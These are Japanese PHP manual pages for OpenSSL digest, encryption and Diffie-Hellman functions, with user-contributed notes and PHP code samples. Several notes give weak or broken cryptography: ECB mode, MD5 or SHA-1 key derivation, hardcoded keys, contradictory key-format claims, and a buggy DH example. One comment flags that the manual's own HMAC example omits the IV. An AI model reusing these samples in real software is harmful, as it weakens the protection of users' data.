echo bin2hex($local_pub_key)."\n";//you can send your public key to the remote party

$details = openssl_pkey_get_details(openssl_pkey_get_public("file://remotepublickey.pem"));
$remote_public_key = $details['dh']['pub_key'];
$shared_secret = openssl_dh_compute_key($remote_public_key, $private_key);
echo bin2hex($shared_secret)."\n";
?>

参考

  • openssl_pkey_new() - 新規に秘密鍵を生成する
  • openssl_pkey_get_details() - キーの詳細の配列を返す
  • openssl_pkey_get_private() - 秘密鍵を取得する
  • openssl_pkey_get_public() - 証明書から公開鍵を抽出し、使用できるようにする

User Contributed Notes

vangelier at hotmail dot com 23-Jan-2021 07:35
After some challenges I decided to write a C++ and PHP code samples.

As it can be very tricky to get a grib on how the Diffie and Hellman algoritm work. The code samples are cross compatible.

Gist with PHP code and C++ code:

https://gist.github.com/digitalhuman/2a2b85d61672e4bf83596d41351723ba

Enjoy!
vangelier at hotmail dot com 22-Dec-2020 08:08
A working example. After some study and reading I finally get how this method is working.

You need to follow the below 4 steps;

1. You create a public key which is known to 1:n parties.
2. Each party creates their own keypair.
2a. Each party shared their public key with the members.
3. Each user can re-create the shared secret by using his Private Key and the Public Key of the other parties.
4. Compare the secrets as a handshake

/* 1. Create the first, global known public key. */

/**
     * Get DH public/private keys
     * @return array
     */
    public static function get_keypair()
    {
        $keys = [];

        $config = [
            "digest_alg" => "sha512",
            "private_key_bits" => 2048,
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];

        // Create the private and public key
        $res = openssl_pkey_new($config);

        $pubKey = openssl_pkey_get_details($res);
        $keys["public"] = $pubKey["key"];

        openssl_pkey_export($res, $privKey);

        $keys["private"] = $privKey;

        return $keys;
    }

Now you share the Public Key with every member of the party.

/* 2. Each user creates a new Key Pair with the P,G from the global public key info */

$key = openssl_get_publickey(base64_decode($publicKey));
$info = openssl_pkey_get_details($key);
$params = $info["dh"];

Now you have the P,G from the public key. Use it;

/**
     * Create keypair from Prime and Generator for KeyExchange
     * @param $prime
     * @param $generator
     */
    public static function create_keypair_from_pg($prime, $generator)
    {
        $config = [
            "digest_alg" => "sha512",
            "private_key_bits" => 2048,
            "dh" => [
                "p" => $prime,
                "g" => $generator
            ],
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];

        return openssl_pkey_new($config);
    }

/* 3. Create a shared secret with your Private Key, and User 1:n's Public Key */

$privateKey = openssl_get_publickey(base64_decode($privateKeyData));

$secret1 = openssl_dh_compute_key($user1PublicKey, $privateKey);
        if($secret !== false) {
            return bin2hex($secret);
        }else{
            print_r(openssl_error_string());
        }

$secret2 = openssl_dh_compute_key($user2PublicKey, $privateKey);
        if($secret !== false) {
            return bin2hex($secret);
        }else{
            print_r(openssl_error_string());
        }

/* 4. Compare the secrets as a handshake method */

if(strcmp($secret1, $secret2) === 0) {
            return true;
        }

        return false;

Good luck, enjoy!. Keep me posted about improvements and updates.  vangelier AT hotmail DOT com
vangelier at hotmail dot com 21-Dec-2020 06:02
Is it possible for someone to post a working example?  I have written many test and examples, and I just can't seem to get 2 secrets that are alike with this method.

I am following this; https://sandilands.info/sgordon/diffie-hellman-secret-key-exchange-with-openssl

With the console, it works great. With openssl_dh_compute_key it does not work.


ダイジェストを計算する

  • ≪ openssl_dh_compute_key
  • openssl_encrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • ダイジェストを計算する

openssl_digest

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_digest — ダイジェストを計算する

説明

openssl_digest ( string $data , string $digest_algo , bool $binary = false ) : string|false

与えられたメソッドを使って、与えられたデータに対するダイジェスト・ハッシュ値を計算し、 未加工の、または binhex エンコードされた文字列を返します。

パラメータ

data

データ

digest_algo

ダイジェスト・メソッド。例: "sha256"。 利用可能なダイジェストメソットの一覧は、 openssl_get_md_methods() を参照してください。

binary

true に設定すると未加工の出力データとして返します。 そうでなければ binhex エンコードされた値を返します。

返り値

成功した場合ダイジェスト・ハッシュ値、失敗した場合に false を返します。

エラー / 例外

digest_algo パラメータを通じて未知の署名アルゴリズムが渡された場合、 E_WARNING レベルのエラーを発生します。

参考

  • openssl_get_md_methods() - 利用可能なダイジェスト・メソッドを取得

User Contributed Notes

Anonymous 17-Jun-2014 06:07
Hmm.. really @mwgamera? openssl_get_cipher_methods() returns cipher methods but openssl_digest() expects a digest method in the second parameter. However even the docu on this page links to the openssl_get_cipher_methods() method in the "See also" section (however this can be a coincidence). Shouldn't it be a digest method from openssl_get_md_methods() instead openssl_get_cipher_methods()?

I'm not very experienced in cryptography but I don't really understand why you would pass a cipher method to a hash function instead of a digest method.
mwgamera at gmail dot com 12-Aug-2013 11:42
The second argument should be one of the values returned by openssl_get_md_methods() rather than hash_algos(). 'Hash' and 'OpenSSL' are independent extensions and support different selection of digest algorithms. Notably, Hash supports some non-cryptographic hashes like adler or crc.
skyblackhawk at yahoo dot it 10-Jun-2011 08:34
Example:
// $fileBuffer is buffer of file in open mode or a generic stream...
$fingerPrint = openssl_digest ($fileBuffer , "sha512");

$method parameter is one of hash_algos() array;

<? echo"<PRE>";
      var_dump(hash_algos());
      echo "</PRE>"
?>

Output:

array(42) {
  [0]=>
  string(3) "md2"
  [1]=>
  string(3) "md4"
  [2]=>
  string(3) "md5"
  [3]=>
  string(4) "sha1"
  [4]=>
  string(6) "sha224"
  [5]=>
  string(6) "sha256"
  [6]=>
  string(6) "sha384"
  [7]=>
  string(6) "sha512"
  [8]=>
  string(9) "ripemd128"
  [9]=>
  string(9) "ripemd160"
  [10]=>
  string(9) "ripemd256"
  [11]=>
  string(9) "ripemd320"
  [12]=>
  string(9) "whirlpool"
  [13]=>
  string(10) "tiger128,3"
  [14]=>
  string(10) "tiger160,3"
  [15]=>
  string(10) "tiger192,3"
  [16]=>
  string(10) "tiger128,4"
  [17]=>
  string(10) "tiger160,4"
  [18]=>
  string(10) "tiger192,4"
  [19]=>
  string(6) "snefru"
  [20]=>
  string(9) "snefru256"
  [21]=>
  string(4) "gost"
  [22]=>
  string(7) "adler32"
  [23]=>
  string(5) "crc32"
  [24]=>
  string(6) "crc32b"
  [25]=>
  string(7) "salsa10"
  [26]=>
  string(7) "salsa20"
  [27]=>
  string(10) "haval128,3"
  [28]=>
  string(10) "haval160,3"
  [29]=>
  string(10) "haval192,3"
  [30]=>
  string(10) "haval224,3"
  [31]=>
  string(10) "haval256,3"
  [32]=>
  string(10) "haval128,4"
  [33]=>
  string(10) "haval160,4"
  [34]=>
  string(10) "haval192,4"
  [35]=>
  string(10) "haval224,4"
  [36]=>
  string(10) "haval256,4"
  [37]=>
  string(10) "haval128,5"
  [38]=>
  string(10) "haval160,5"
  [39]=>
  string(10) "haval192,5"
  [40]=>
  string(10) "haval224,5"
  [41]=>
  string(10) "haval256,5"
}


データを暗号化する

  • ≪ openssl_digest
  • openssl_error_string ≫
  • PHP Manual
  • OpenSSL 関数
  • データを暗号化する

openssl_encrypt

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_encrypt — データを暗号化する

説明

openssl_encrypt ( string $data , string $cipher_algo , string $passphrase , int $options = 0 , string $iv = "" , string &$tag = null , string $aad = "" , int $tag_length = 16 ) : string|false

与えられた文字列を与えられたメソッドとキーで暗号化して、 未加工の、または base64 エンコードされた文字列を返します。

パラメータ

data

暗号化するプレーンテキストメッセージ

cipher_algo

暗号メソッド。 使用可能なメソッドの一覧を取得するには、openssl_get_cipher_methods() を用います。

passphrase

パスフレーズ。 期待された長さより短かった場合は、 黙ってNUL 文字で埋められます。 期待された長さより長かった場合は、 黙って切り詰められます。

options

OPENSSL_RAW_DATA と OPENSSL_ZERO_PADDING のビット OR。

iv

NULL ではない初期化ベクトル。

tag

AEAD 暗号モード (GCM または LCM) を使う場合の 認証タグを参照で渡します。

aad

追加の認証データ

tag_length

認証 tag の長さ。 GCMモードでは、この値は 4 から 16 の間です。

返り値

成功した場合暗号化された文字列、失敗した場合に false を返します。

エラー / 例外

cipher_algo パラメータを通じて未知の暗号アルゴリズムが渡された場合、 E_WARNING レベルのエラーを発生します。

iv パラメータを通じて空値が渡された場合、 E_WARNING レベルのエラーを発生します。

変更履歴

バージョン | 説明
7.1.0 | tag、aad および tag_length パラメータが追加されました。

例

例1 PHP 7.1以降で、AES を GCMモードで使う例

<?php
//$key should have been previously generated in a cryptographically safe way, like openssl_random_pseudo_bytes
$plaintext = "message to be encrypted";
$cipher = "aes-128-gcm";
if (in_array($cipher, openssl_get_cipher_methods()))
{
    $ivlen = openssl_cipher_iv_length($cipher);
    $iv = openssl_random_pseudo_bytes($ivlen);
    $ciphertext = openssl_encrypt($plaintext, $cipher, $key, $options=0, $iv, $tag);
    //store $cipher, $iv, and $tag for decryption later
    $original_plaintext = openssl_decrypt($ciphertext, $cipher, $key, $options=0, $iv, $tag);
    echo $original_plaintext."\n";
}
?>

例2 PHP 5.6以降で、AES を使う例

<?php
//$key previously generated safely, ie: openssl_random_pseudo_bytes
$plaintext = "message to be encrypted";
$ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
$hmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
$ciphertext = base64_encode( $iv.$hmac.$ciphertext_raw );

//decrypt later....
$c = base64_decode($ciphertext);
$ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
$iv = substr($c, 0, $ivlen);
$hmac = substr($c, $ivlen, $sha2len=32);
$ciphertext_raw = substr($c, $ivlen+$sha2len);
$original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
$calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
if (hash_equals($hmac, $calcmac))//PHP 5.6+ timing attack safe comparison
{
    echo $original_plaintext."\n";
}
?>

参考

  • openssl_decrypt() - データを復号する

User Contributed Notes

handsomedmm at 126 dot com 29-Sep-2019 09:15
if encrypt data by openssl enc command with pass and salt, it can aslo decrypt by openssl_decrypt.

eg.

encrypt command:

# echo -n test123 | openssl enc -aes-128-cbc -pass pass:"pass123" -a -md md5

decrypt command:
# echo -n U2FsdGVkX19349P4LpeP5Sbi4lpCx6lLwFQ2t9xs2AQ= | base64 -d| openssl  enc -aes-128-cbc -pass pass:"pass123" -md md5 -d -p
salt=77E3D3F82E978FE5
key=9CA70521F78B9909BF73BAE9233D6258
iv =04BCCB509EC9E6F5AF7E822CA58EA557
test123

use php code
<?php
        // encode data
        $encodeData = "U2FsdGVkX19349P4LpeP5Sbi4lpCx6lLwFQ2t9xs2AQ=";

        // base64 decode
        $data = base64_decode($encodeData);
        $data = substr($data, 16); // if salted , remove Salted__ prefix

        // salt and pass config
        $salt   = hex2bin("77E3D3F82E978FE5");
        $pass   = "pass123";
        $method = "AES-128-CBC";

        // generate iv and key
        $hash1 = md5($pass . $salt);
        $hash2 = md5(hex2bin($hash1) . $pass . $salt);
        $key   = hex2bin($hash1);
        $iv    = hex2bin($hash2);

        $decodeData = openssl_decrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);

        var_dump($decodeData);
gcleaves at gmail dot com 29-Sep-2019 07:07
Please note that at the time of writing this, there is an important and naive security vulnerability in "Example #2 AES Authenticated Encryption example for PHP 5.6+".

You MUST include the IV when calculating the HMAC. Otherwise, somebody could alter the IV during transport, thereby changing the decrypted message while maintaining HMAC integrity. An absolute disaster.

To fix the example, the HMAC should be calculated like this:

<?php
$hmac = hash_hmac('sha256', $iv.$ciphertext_raw, $key, $as_binary=true);
?>
waltzie 06-Feb-2019 09:53
There are some troubles implementing a 1:1 encryprion/decription between mcrypt and openssl using MCRYPT_RIJNDAEL_128 CBC because the AES-256 is different from RIJNDAEL-256.
The 256 in AES refers to the key size, where the 256 in RIJNDAEL refers to block size.
 AES-256 is RIJNDAEL-128 when used with a 256 bit key
(https://stackoverflow.com/questions/6770370/aes-256-encryption-in-php  ircmaxell Jun 22 '13 at 11:50)

Example

<?php

function encrypt_openssl($msg, $key, $iv) {
        $encryptedMessage = openssl_encrypt($msg, 'AES-256-CBC', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING  , $iv);
        return $iv . $encryptedMessage;
}

function decrypt_openssl($data, $key) {
        $iv_size = openssl_cipher_iv_length('AES-256-CBC');
        $iv = substr($data, 0, $iv_size);
        $data = substr($data, $iv_size);
        return openssl_decrypt($data, 'AES-256-CBC', $key,OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING  , $iv);

}

function decrypt_data($data,$key) {
        $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
        $iv = substr($data, 0, $iv_size);
        $data = substr($data, $iv_size);
        $decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
        $decrypted = rtrim($decrypted, chr(0));
        return($decrypted);
}

function encrypt_data($data,$key,$iv) {
        $encrypted = $iv .  mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $encrypted;
}

// ZERO Padding ISO/IEC 9797-1, ISO/IEC 10118-1
function pad_zero($data) {
        $len = mcrypt_get_block_size (MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC);
        if (strlen($data) % $len) {
              $padLength =  $len - strlen($data) %  $len;
              $data .= str_repeat("\0", $padLength);
        }
        return $data;
}

$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$data = "Hello World!";
$key = hash('sha256',"secret",true);

echo "\n\n$data\n\n";

$enc = base64_encode(encrypt_data($data,$key,$iv));
echo "\nEnc: $enc";
$dec = decrypt_data(base64_decode($enc),$key);
echo "\nDec: $dec";
$dec2=decrypt_openssl(base64_decode($enc),$key);
echo "\nDec: $dec2";

echo "\n\nreverse\n";

$enc2 = base64_encode(encrypt_openssl(pad_zero($data),$key,$iv));
echo "\nEnc: $enc2";
$dec = decrypt_data(base64_decode($enc2),$key);
echo "\nDec: $dec";
$dec2=decrypt_openssl(base64_decode($enc2),$key);
echo "\nDec: $dec2";
Jess Portnoy 13-Mar-2018 11:40
Note that OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING were introduced by this commit:
https://github.com/php/php-src/commit/9e7ae3b2d0e942b816e3836025456544d6288ac3

Before that, the options arg was called raw_output and was a Boolean so if you're considering this method as a replacement for mcrypt_encrypt(), this will only work with PHP 5.5 and above.

A good guide on replacing Mcrypt encryption/decryption methods with the OpenSSL parallels can be found here:
http://thefsb.tumblr.com/post/110749271235/using-opensslendecrypt-in-php-instead-of
omidbahrami1990 at gmail dot com 05-Dec-2017 11:35
This Is The Most Secure Way To Encrypt And Decrypt Your Data,
It Is Almost Impossible To Crack Your Encryption.
--------------------------------------------------------
 --- Create Two Random Keys And Save Them In Your Configuration File ---
<?php
// Create The First Key
echo base64_encode(openssl_random_pseudo_bytes(32));

// Create The Second Key
echo base64_encode(openssl_random_pseudo_bytes(64));
?>
--------------------------------------------------------
<?php
// Save The Keys In Your Configuration File
define('FIRSTKEY','Lk5Uz3slx3BrAghS1aaW5AYgWZRV0tIX5eI0yPchFz4=');
define('SECONDKEY','EZ44mFi3TlAey1b2w4Y7lVDuqO+SRxGXsa7nctnr/JmMrA2vN6EJhrvdVZbxaQs5jpSe34X3ejFK/o9+Y5c83w==');
?>
--------------------------------------------------------
<?php
function secured_encrypt($data)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);

$method = "aes-256-cbc";
$iv_length = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_length);

$first_encrypted = openssl_encrypt($data,$method,$first_key, OPENSSL_RAW_DATA ,$iv);
$second_encrypted = hash_hmac('sha3-512', $first_encrypted, $second_key, TRUE);

$output = base64_encode($iv.$second_encrypted.$first_encrypted);
return $output;
}
?>
--------------------------------------------------------
<?php
function secured_decrypt($input)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);
$mix = base64_decode($input);

$method = "aes-256-cbc";
$iv_length = openssl_cipher_iv_length($method);

$iv = substr($mix,0,$iv_length);
$second_encrypted = substr($mix,$iv_length,64);
$first_encrypted = substr($mix,$iv_length+64);

$data = openssl_decrypt($first_encrypted,$method,$first_key,OPENSSL_RAW_DATA,$iv);
$second_encrypted_new = hash_hmac('sha3-512', $first_encrypted, $second_key, TRUE);

if (hash_equals($second_encrypted,$second_encrypted_new))
return $data;

return false;
}
?>
me at bobste dot in 10-Nov-2017 07:21
<?php
string openssl_encrypt (
    string $data ,
    string $method ,
    string $key,
    int $options = 0,      // optional
    string $iv = "",       // optional
    string &$tag = NULL,   // optional
    string $aad = "",      // optional
    int $tag_length = 16   // optional
)
// (a kinder, gentler function header)
?>
Jean-Luc 02-Nov-2017 09:26
Important: The key should have exactly the same length as the cipher you are using. For example, if you use AES-256 then you should provide a $key that is 32 bytes long (256 bits == 32 bytes). Any additional bytes in $key will be truncated and not used at all.
denis at bitrix dot ru 21-Aug-2017 06:43
How to migrate from mcrypt to openssl with backward compatibility.

In my case I used Blowfish in ECB mode. The task was to decrypt data with openssl_decrypt, encrypted by mcrypt_encrypt and vice versa. It was obvious for a first sight. But in fact openssl_encrypt and mcrypt_encript give different results in most cases.

Investigating the web I found out that the reason is in different padding methods. And for some reasons openssl_encrypt behave the same strange way with OPENSSL_ZERO_PADDING and OPENSSL_NO_PADDING options: it returns FALSE if encrypted string doesn't divide to the block size. To solve the problem you have to pad your string with NULs by yourself.

The second question was the key length. Both functions give the same result if the key length is between 16 and 56 bytes. And I managed to find that if your key is shorter than 16 bytes, you just have to repeat it appropriate number of times.

And finally the code follows which works the same way on openssl and mcrypt libraries.

<?php
    function encrypt($data, $key)
    {
        $l = strlen($key);
        if ($l < 16)
            $key = str_repeat($key, ceil(16/$l));

        if ($m = strlen($data)%8)
            $data .= str_repeat("\x00",  8 - $m);
        if (function_exists('mcrypt_encrypt'))
            $val = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_ECB);
        else
            $val = openssl_encrypt($data, 'BF-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING);

        return $val;
    }

    function decrypt($data, $key)
    {
        $l = strlen($key);
        if ($l < 16)
            $key = str_repeat($key, ceil(16/$l));

        if (function_exists('mcrypt_encrypt'))
            $val = mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_ECB);
        else
            $val = openssl_decrypt($data, 'BF-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING);
        return $val;
    }

$data = 'my secret message';
$key = 'dontsay';

$c = encrypt($data, $key);
$d = decrypt($c, $key);
var_dump($c);
var_dump($d);
?>
Gives:

string(32) "SWBMedXJIxuA9FcMOqCqomk0E5nFq6wv"
string(24) "my secret message\000\000\000\000\000\000\000"
darek334 at gazeta dot pl 23-Mar-2017 12:07
To check if cipher uses IV use openssl_cipher_iv_length it returns length if exist, 0 if not, false if cipher is unknown.
naitsirch at e dot mail dot de 10-Nov-2016 11:52
PHP lacks a build-in function to encrypt and decrypt large files. `openssl_encrypt()` can be used to encrypt strings, but loading a huge file into memory is a bad idea.

So we have to write a userland function doing that. This example uses the symmetric AES-128-CBC algorithm to encrypt smaller chunks of a large file and writes them into another file.

# Encrypt Files

<?php
/**
 * Define the number of blocks that should be read from the source file for each chunk.
 * For 'AES-128-CBC' each block consist of 16 bytes.
 * So if we read 10,000 blocks we load 160kb into memory. You may adjust this value
 * to read/write shorter or longer chunks.
 */
define('FILE_ENCRYPTION_BLOCKS', 10000);

/**
 * Encrypt the passed file and saves the result in a new file with ".enc" as suffix.
 *
 * @param string $source Path to file that should be encrypted
 * @param string $key    The key used for the encryption
 * @param string $dest   File name where the encryped file should be written to.
 * @return string|false  Returns the file name that has been created or FALSE if an error occured
 */
function encryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);
    $iv = openssl_random_pseudo_bytes(16);

    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        // Put the initialzation vector to the beginning of the file
        fwrite($fpOut, $iv);
        if ($fpIn = fopen($source, 'rb')) {
            while (!feof($fpIn)) {
                $plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
                $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
                // Use the first 16 bytes of the ciphertext as the next initialization vector
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $ciphertext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }

    return $error ? false : $dest;
}
?>

# Decrypt Files

To decrypt files that have been encrypted with the above function you can use this function.

<?php
/**
 * Dencrypt the passed file and saves the result in a new file, removing the
 * last 4 characters from file name.
 *
 * @param string $source Path to file that should be decrypted
 * @param string $key    The key used for the decryption (must be the same as for encryption)
 * @param string $dest   File name where the decryped file should be written to.
 * @return string|false  Returns the file name that has been created or FALSE if an error occured
 */
function decryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);

    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        if ($fpIn = fopen($source, 'rb')) {
            // Get the initialzation vector from the beginning of the file
            $iv = fread($fpIn, 16);
            while (!feof($fpIn)) {
                // we have to read one block more for decrypting than for encrypting
                $ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1));
                $plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
                // Use the first 16 bytes of the ciphertext as the next initialization vector
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $plaintext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }

    return $error ? false : $dest;
}
?>

Source: http://stackoverflow.com/documentation/php/5794/cryptography/25499/
Kruthers 04-Oct-2016 07:37
There still seems to be some confusion about the "password" argument to this function.  It accepts a binary string for the key (ie. NOT encoded), at least for the cipher methods I tried (AES-128-CTR and AES-256-CTR).  One of the posts says you should hex encode the key (which is wrong), and some say you should hash the key but don't make it clear how to properly pass the hashed key.

Instead of the post made by anonymous, this should be more accurate info about the parameters:

data - BINARY string
method - regular string, from openssl_get_cipher_methods()
password - BINARY string (ie. the encryption key in binary)
options - integer (use the constants provided)
iv - BINARY string

This is not only from my testing, but backed up by the usage of this function by https://github.com/defuse/php-encryption
Nick 17-May-2016 09:09
There's a lot of confusion plus some false guidance here on the openssl library.

The basic tips are:

aes-256-ctr is arguably the best choice for cipher algorithm as of 2016. This avoids potential security issues (so-called padding oracle attacks) and bloat from algorithms that pad data to a certain block size. aes-256-gcm is preferable, but not usable until the openssl library is enhanced, which is due in PHP 7.1

Use different random data for the initialisation vector each time encryption is made with the same key. mcrypt_create_iv() is one choice for random data. AES uses 16 byte blocks, so you need 16 bytes for the iv.

Join the iv data to the encrypted result and extract the iv data again when decrypting.

Pass OPENSSL_RAW_DATA for the flags and encode the result if necessary after adding in the iv data.

Hash the chosen encryption key (the password parameter) using openssl_digest() with a hash function such as sha256, and use the hashed value for the password parameter.

There's a simple Cryptor class on GitHub called php-openssl-cryptor that demonstrates encryption/decryption and hashing with openssl, along with how to produce and consume the data in base64 and hex as well as binary. It should lay the foundations for better understanding and making effective use of openssl with PHP.

Hopefully it will help anyone looking to get started with this powerful library.
Geoff 12-Feb-2016 10:21
Contrary to some of the other comments here, I'm not certain that Password is indeed being improperly treated as the direct key.  I say this because I've been passing random text values into this parameter which would be invalid as hex input.  It seems to be hashing the password I provide, using what algorithm I do not know, because otherwise I'd expect it to throw an exception instead of working as expected.

That said, I'm using openssl_decrypt() to decrypt data that was only encrypted with openssl_encrypt().  I've not had to try to decrypt data where I do know for certain what the direct key is to know if I have an issue with bad pad blocks or any other exceptions which would indicate a key mismatch.
David 17-Nov-2015 09:07
Note, that if you don't specify the ...RAW_DATA  option, then you get a base64 encoded result.  I lost a few hours because my PHP didn't have the OPENSSL_RAW_DATA constant, and after I'd carefully base64 encoded the result, it just wasn't decoding...
Raphael 18-Jun-2015 07:55
Beware of the padding this method adds !

<?php
$encryption_key = openssl_random_pseudo_bytes(32);
$iv = openssl_random_pseudo_bytes(16);
$data = openssl_random_pseudo_bytes(32);

for ($i = 0; $i < 5; $i++) {
 $data = openssl_encrypt($data, 'aes-256-cbc', $encryption_key, OPENSSL_RAW_DATA, $iv);
 echo strlen($data) . "\n";
}
?>

With this sample the output will be:
48
64
80
96
112

This is because our $data is already taking all the block size, so the method is adding a new block which will contain only padded bytes.

The only solution that come to my mind to avoid this situation is to add the option OPENSSL_ZERO_PADDING along with the first one:
<?php
$data = openssl_encrypt($data, 'aes-256-cbc', $encryption_key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv);
?>

/!\ Be careful when using this option, be sure that you provide data that have already been padded or that takes already all the block size.
openssl at mailismagic dot com 02-May-2015 02:11
Since the $options are not documented, I'm going to clarify what they mean here in the comments.  Behind the scenes, in the source code for /ext/openssl/openssl.c:

    EVP_EncryptInit_ex(&cipher_ctx, NULL, NULL, key, (unsigned char *)iv);
    if (options & OPENSSL_ZERO_PADDING) {
        EVP_CIPHER_CTX_set_padding(&cipher_ctx, 0);
    }

And later:

        if (options & OPENSSL_RAW_DATA) {
            outbuf[outlen] = '\0';
            RETVAL_STRINGL((char *)outbuf, outlen, 0);
        } else {
            int base64_str_len;
            char *base64_str;

            base64_str = (char*)php_base64_encode(outbuf, outlen, &base64_str_len);
            efree(outbuf);
            RETVAL_STRINGL(base64_str, base64_str_len, 0);
        }

So as we can see here, OPENSSL_ZERO_PADDING has a direct impact on the OpenSSL context.  EVP_CIPHER_CTX_set_padding() enables or disables padding (enabled by default).  So, OPENSSL_ZERO_PADDING disables padding for the context, which means that you will have to manually apply your own padding out to the block size.  Without using OPENSSL_ZERO_PADDING, you will automatically get PKCS#7 padding.

OPENSSL_RAW_DATA does not affect the OpenSSL context but has an impact on the format of the data returned to the caller.  When OPENSSL_RAW_DATA is specified, the returned data is returned as-is.  When it is not specified, Base64 encoded data is returned to the caller.

Hope this saves someone a trip to the PHP source code to figure out what the $options do.  Pro developer tip:  Download and have a copy of the PHP source code locally so that, when the PHP documentation fails to live up to quality expectations, you can see what is actually happening behind the scenes.
Anonymous 28-Feb-2015 02:14
Just a couple of notes about the parameters:

data - It is interpreted as a binary string
method - Regular string, make sure you check openssl_get_cipher_methods() for a list of the ciphers available in your server*
password - As biohazard mentioned before, this is actually THE KEY! It should be in hex format.
options - As explained in the Parameters section
iv - Initialization Vector. Different than biohazard mentioned before, this should be a BINARY string. You should check for your particular implementation.

To verify the length/format of your IV, you can provide strings of different lengths and check the error log. For example, in PHP 5.5.9 (Ubuntu 14.04 LTS), providing a 32 byte hex string (which would represent a 16 byte binary IV) throws an error.
"IV passed is 32 bytes long which is longer than the 16 expected by the selected cipher" (cipher chosen was 'aes-256-cbc' which uses an IV of 128 bits, its block size).
Alternatively, you can use openssl_cipher_iv_length().

From the security standpoint, make sure you understand whether your IV needs to be random, secret or encrypted. Many times the IV can be non-secret but it has to be a cryptographically secure random number. Make sure you generate it with an appropriate function like openssl_random_pseudo_bytes(), not mt_rand().

*Note that the available cipher methods can differ between your dev server and your production server! They will depend on the installation and compilation options used for OpenSSL in your machine(s).
max 01-Aug-2012 02:35
Might be useful to people trying to use 'aes-256-cbc' cipher (and probably other cbc ciphers) in collaboration with other implementations of AES (C libs for example) that the openssl extension has a strict implementation regarding padding bytes. I found the solution only by manually going through the openssl source.

In C, you would want to pad plaintexts the following way (assuming all mem allocations are proper):

nPadding = ( 16 - ( bufferSize % 16 ) ) ? ( 16 - ( bufferSize % 16 ) ) : 16;
for( index = bufferSize; index < bufferSize + nPadding; index++ )
{
    plaintext[ index ] = (char)nPadding;
}

while decryptions are validated like:

isSuccess = TRUE;
for( index = bufferSize - 1; index > ( bufferSize - nPadding ); index-- )
{
    if( plaintext[ index ] != nPadding )
    {
        isSuccess = FALSE;
        break;
    }
}
decryptedSize = bufferSize - nPadding;

In plain english, the buffer must be padded up to blockSize. If the buffer is already a multiple of blockSize, you add an entire new blockSize bytes as padding.

The value of the padding bytes MUST be the number of padding bytes as a byte...

So 5 bytes of padding will result in the following bytes added at the end of the ciphertext:
[ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ]

Hope this saves someone else a few hours of their life.
kazaaknet at yahoo dot com 10-Jul-2012 05:23
Be advised there was a memory leak in this function: https://bugs.php.net/bug.php?id=54060.  I believe this got fixed in 5.3.6, but on production webservers running 5.3.5 with modest traffic, this became  a memory hemorrhage that brought my site down.  Look at mcrypt_encrypt instead.
Kukulkan 21-May-2012 03:39
PHP OpenSSL functions openssl_encrypt() and openssl_decrypt() seem to use PKCS5/7 style padding for all symmetric ciphers. Upon this, you can't use them to encrypt using null byte padding or to decrypt null byte padded data.

The developers of the wrapper forgot the padding scheme flags... :(
biohazard dot ge at gmail dot com 15-Jun-2011 06:48
Many users give up with handilng problem when openssl command line tool cant decrypt php openssl encrypted file which is encrypted with openssl_encrypt function.

For example how beginner is encrypting data:

<?php

$string = 'It works ? Or not it works ?';
$pass = '1234';
$method = 'aes128';

file_put_contents ('./file.encrypted', openssl_encrypt ($string, $method, $pass));

?>

And then how beginner is trying to decrypt data from command line:

# openssl enc -aes-128-cbc -d -in file.encrypted -pass pass:123

Or even if he/she determinates that openssl_encrypt output was base64 and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123

